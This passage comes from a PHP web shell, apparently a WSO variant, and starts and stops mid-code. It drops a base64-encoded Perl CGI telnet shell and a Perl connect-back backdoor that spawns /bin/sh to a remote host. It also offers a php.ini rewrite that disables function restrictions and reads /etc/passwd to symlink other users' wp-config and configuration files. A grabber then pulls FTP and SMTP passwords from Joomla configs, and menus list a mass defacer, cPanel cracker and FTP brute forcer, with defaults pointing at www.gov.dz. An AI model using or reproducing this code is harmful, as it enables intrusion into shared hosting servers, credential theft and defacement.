CgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==
'; 

$file = fopen("cgi.cin" ,"w+"); 
$write = fwrite ($file ,base64_decode($cgishellizocin)); 
fclose($file); 
    chmod("cgi.cin",0755); 
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh 
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog 
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo 
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg 
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb 
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb 
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An 
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf 
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg 
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF 
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi 
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu 
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+ 
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl 
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu 
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE 
YXRhY2hlZFxuXG4iOw=='; 

$file = fopen("dc.pl" ,"w+"); 
$write = fwrite ($file ,base64_decode($netcatshell)); 
fclose($file); 
    chmod("dc.pl",0755); 
   echo "<iframe src=cgi-telnet/cgi.cin width=100% height=100% frameborder=0></iframe> "; 
echo '</div>'; 
wsoFooter(); } 
##################### Tools ######################### 
function actiontools() { 
wsoHeader(); 
echo' 
<center> 
<a href=# onclick="g(\'mass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Folders Mass Defacer       ]</a><br><br> 
<a href=# onclick="g(\'config\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Config Grabber       ]</a><br><br> 
<a href=# onclick="g(\'configsh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Config Killer      ]</a><br><br> 
<a href=# onclick="g(\'zoneh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Zone-h Poster      ]</a><br><br> 
<a href=# onclick="g(\'ftpsmtp\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      FTP And SMTP Config Grabber      ]</a><br><br> 
<a href=# onclick="g(\'Php\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      PHP Exec     ]</a><br><br> 
<a href=# onclick="g(\'userchecker\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Web Site Username Checker     ]</a><br><br> 
<a href=# onclick="g(\'cpcrack\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Cpanel Cracker      ]</a><br><br> 
<a href=# onclick="g(\'lfiscan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      LFI       ]</a><br><br> 
<a href=# onclick="g(\'BruteForce\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      FTP BrutForce     ]</a><br><br> 
<a href=# onclick="g(\'sub\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Sub Domain Checker     ]</a><br><br> 
<a href=# onclick="g(\'shellfind\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Shell Finder      ]</a><br><br> 
'; 
wsoFooter();} 
#################### Config Killer ################# 
function actionconfigsh() { 
wsoHeader(); 
echo' 
<center><h1>Config Killer</h1> 
<center><form method=post><font color=white size=2 face="comic sans ms">Creat PHP.ini To Bypass Disbale Functions</font><p> 
<center><input type="hidden" name="a" value="configsh"><input type=submit name=ini value="PHP.ini" /></form> 
<center><form method=post><font color=white size=2 face="comic sans ms">Extract Username To Symlink</font><p> 
    <cente><input type="hidden" name="a" value="configsh"><input type=submit name="usre" value="Extract Usernames" /></form><br>'; 
    if(isset($_POST['ini'])) 
    { 
         
        $r=fopen('php.ini','w'); 
        $rr=" disbale_functions=none "; 
        fwrite($r,$rr); 
        $link="<br><a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>PHP.INI</u></font></a>"; 
        echo $link; 
         
        } 
     
     
     
    ?> 
     
     
    <?php 
    if(isset($_POST['usre'])){ 
        ?><form method=post> 
    <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd"); 
foreach($users as $user) 
{ 
$str=explode(":",$user); 
echo $str[0]."
"; 
} 

?></textarea><br><br> 
    <input type="hidden" name="a" value="configsh"><input type=submit name=su value="Get Symlink !" /></form> 
    <?php } ?> 
    <?php 
    error_reporting(0); 
    echo "<font size=2 face=\"comic sans ms\">"; 
    if(isset($_POST['su'])) 
    { 
    mkdir('phdz-root2',0777); 
$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any"; 
$g = fopen('phdz-root2/.htaccess','w'); 
fwrite($g,$rr); 
$indishell = symlink("/","phdz-root2/root"); 
            $rt="<a href=phdz-root2/root><font color=white size=3 face=\"comic sans ms\"> Root</font></a>"; 
        echo " [+] Root Symlink<br><u>$rt</u>"; 
         
        $dir=mkdir('phdz-config2',0777); 
        $r  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any"; 
        $f = fopen('phdz-config2/.htaccess','w'); 
    
        fwrite($f,$r); 
        $consym="<a href=phdz-config2/><font color=white size=3 face=\"comic sans ms\">Configs</font></a>"; 
           echo "<br>[+] Config Grabbed<br><u><font size=2 face=\"comic sans ms\">$consym</font></u>"; 
            
               $usr=explode("
",$_POST['user']); 
           $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
        foreach($usr as $uss ) 
        { 
            $us=trim($uss); 
                         
            foreach($configuration as $c) 
            { 
             $rs="/home/".$us."/public_html/".$c; 
             $r="phdz-config2/".$us." .. ".$c; 
             symlink($rs,$r); 
             
        } 
             
            } 
         
         
        } 
wsoFooter(); } 
####################  FTP SMTP   #################### 
function actionftpsmtp() { 
wsoHeader(); 
?> 
<center> 
<h1><b>FTP And SMTP Configs Grabber</b></h1> 
<FORM action=""  method="post"> 
<input type="hidden" name="form_action" value="1"> 
<table border=1> 
<tr><td><span>Configs Link :</span></td><td><input type="text" size="60" name="url" value="www.gov.dz/phdz-config/"></td></tr> 
</table> 
<br> 
<input type="hidden" name="a" value="ftpsmtp"><INPUT class=submit type="submit" value=">>" > 
</FORM> 
</font> 
</center> 
</body> 
</html> 
<? 
if (array_key_exists('form_action', $_POST)){ 
echo('<center><br><br>'); 
echo "<span>"; 
  
echo "[] Getting Config URL : [] ".$_POST['url']; 
$url1=file_get_contents($_POST['url']); 
$ar = explode('<li><a href="', $url1); 
for($vi=2;$vi < count($ar);$vi++) 
     { 
  
$var1 = strtok($ar[$vi], " "); 
$var1 = substr($var1,0,-2); 
$link = $url1.$var1; 
$filename = 'jftp.txt'; 
$fp = fopen($filename, "a+"); 
$write = fputs($fp, $var1."
"); 
fclose($fp); 
} 
echo "<br>"; 
echo "[] Collected All Config Names []"; 
echo "<br>"; 
echo "[] Seperating Joomla Configs []"; 
echo "<br>"; 
$joomconfigs=file('jftp.txt'); 
ini_set("display_errors", "0"); 
set_time_limit(0); 
foreach ($joomconfigs as $joomconfig) { 
$pos = strpos($joomconfig,"oomla"); 
if($pos === false) { 
$filename = 'others.txt'; 
$fp = fopen($filename, "a+"); 
$write = fputs($fp, $joomconfig."
"); 
fclose($fp); 
} 
else { 
$filename = 'joomla.txt'; 
$fp = fopen($filename, "a+"); 
$write = fputs($fp, $joomconfig."
"); 
fclose($fp); 
} 
} 
unlink ('jftp.txt'); 
unlink ('others.txt'); 
echo "[] Joomla Configs Seperated []"; 
echo "<br>"; 
echo "[] Scanning JOOMLA FTP Credentials []"; 
echo "<br>"; 
echo ("<center><table border=1 cellspacing=1 cellpading=1>   
<tr><th width='400'><span>SMTP DETAILS</span></th><th width=200><span>FTP Host</span></th> <th width=150><span>FTP Username</span></td><th width=150><span>FTP Password</span></td><th width=100><span>ENABLED</span></td></tr>"); 
  
$getconfig=file('joomla.txt'); 
foreach ($getconfig as $gconfig) { 
$strlengconfig=strlen($gconfig); 
if ($strlengconfig > 2) { 
$urltoconfig=$_POST['url']."/".$gconfig; 
$getconfig=file_get_contents($urltoconfig); 
$ftphost=entre2v2($getconfig,"ftp_host = '","';"); 
$ftpuser=entre2v2($getconfig,"ftp_user = '","';"); 
$ftppass=entre2v2($getconfig,"ftp_pass = '","';"); 
$ftpenable=entre2v2($getconfig,"ftp_enable = '","';"); 
$smtpuser=entre2v2($getconfig,"smtpuser = '","';"); 
$smtppass=entre2v2($getconfig,"smtppass = '","';"); 
$smtphost=entre2v2($getconfig,"smtphost = '","';"); 
$smtpport=entre2v2($getconfig,"smtpport = '","';"); 
  
if ($ftpenable==1){ 
$ftpenabled="YES"; 
echo "<center><table border=1 cellspacing=1 cellpading=1>   
<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>"; 
} 
else { 
$ftpenabled="NO"; 
echo "<center><table border=1 cellspacing=1 cellpading=1>   
<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>"; 
} 
} 
} 

echo"</font>"; 
echo('</center>'); 
unlink ('joomla.txt'); 
} 
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){ 
    $ar0=explode($marqueurDebutLien, $text); 
    $ar1=explode($marqueurFinLien, $ar0[$i]); 
    return trim($ar1[0]); 
} 
wsoFooter(); } 
#########################   Web Site Username Checker ########################## 
function actionuserchecker() { 
wsoHeader(); 
echo'    <center><h1>Web Site Username Checker</h1><br><br> 
    </center> 
    </center> 
    <form method="post"><center>        
    <input type="text" name="si" value="http://www.gov.dz/"><br /> 
    <input type="hidden" name="a" value="userchecker"><input type="submit" name="b0x" value=">>" ><br></form> 
     '; 
    $fo = $_POST['si']; 
    $fo2 = $fo; 
    $strlen = strlen($fo2); 
    $fo2 = replace($fo2); 
    for($i=0;$i<=$strlen;$i++) 
    {  
        $words[] = substr($fo2 ,0 ,$i);  
    } 

    foreach($words as $users) 
    { 
        echo $users."<br>"; 
        if($_POST['b0x']) 
        { 
            cURL($fo,$users); 
        } 
    } 

    function cURL($fo,$users) 
    { 
        $curl = curl_init(); 
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
        curl_setopt($curl,CURLOPT_URL, $fo."/cgi-sys/guestbook.cgi?user={$users}"); 
        $start = curl_exec($curl); 
        if(!eregi("Invalid username", $start)) 
        { 
            echo "<font face='Tahoma' size='2' color='red'><b>{$users}</b></font><br>"; 
        } 
        return $start; 
    } 
     
    function replace($fo) 
    { 
        $search = array('http://','https://','.','-','/','www'); 
        $str = str_replace($search , "", $fo); 
        return $str; 
    } 
wsoFooetr(); } 
####################### sub domain ####################### 
function actionsub() { 
wsoHeader(); 
echo '<br><center><h1>Subdomain Checker</h1><center><br>'; 
echo'<html><body><center></br> 
<form method="post"> 
<input type="text" name="site" size="20" placeholder="www.site.com"> 
<input type="hidden" name="a" value="sub"><input type="submit" value="Check it Please !"> 
</form> 
</font>'; 
echo '<br><center><span>( Delete http:// )</span><center><br>'; 
set_time_limit(0); 
$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserve